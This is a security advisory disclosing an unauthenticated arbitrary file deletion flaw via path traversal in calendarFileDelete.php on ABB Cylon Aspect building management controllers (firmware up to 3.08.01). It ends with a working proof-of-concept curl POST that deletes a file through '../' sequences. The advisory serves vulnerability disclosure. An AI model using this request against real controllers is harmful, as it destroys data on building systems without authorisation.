ABB Cylon Aspect 3.08.01 calendarFileDelete.php Arbitrary File Deletion

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ABB Cylon Aspect 3.08.01 (calendarFileDelete.php) Arbitrary File Deletion  
  
  
Vendor: ABB Ltd.  
Product web page: https://www.global.abb  
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio  
Firmware: <=3.08.01  
  
Summary: ASPECT is an award-winning scalable building energy management  
and control solution designed to allow users seamless access to their  
building data through standard building protocols including smart devices.  
  
Desc: The BMS/BAS controller suffers from an arbitrary file deletion vulnerability.  
Input passed to the 'file' parameter in calendarFileDelete.php is not properly  
sanitised before being used to delete calendar files. This can be exploited by an  
unauthenticated attacker to delete files with the permissions of the web server using  
directory traversal sequences passed within the affected POST parameter.  
  
Tested on: GNU/Linux 3.15.10 (armv7l)  
GNU/Linux 3.10.0 (x86_64)  
GNU/Linux 2.6.32 (x86_64)  
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz  
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz  
PHP/7.3.11  
PHP/5.6.30  
PHP/5.4.16  
PHP/4.4.8  
PHP/5.3.3  
AspectFT Automation Application Server  
lighttpd/1.4.32  
lighttpd/1.4.18  
Apache/2.2.15 (CentOS)  
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)  
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2024-5836  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5836.php  
  
  
21.04.2024  
  
--  
  
  
$ cat project  
  
P R O J E C T  
  
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░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░   
  
  
$ curl -X POST http://192.168.73.31/calendarFileDelete.php \  
> -d "file0=../../../../../../../../../home/thricer/.secrets/nude_selfie.jpg\  
> &delete0=1\  
> &total=1\  
> &submitDeleteForm=Delete"  
`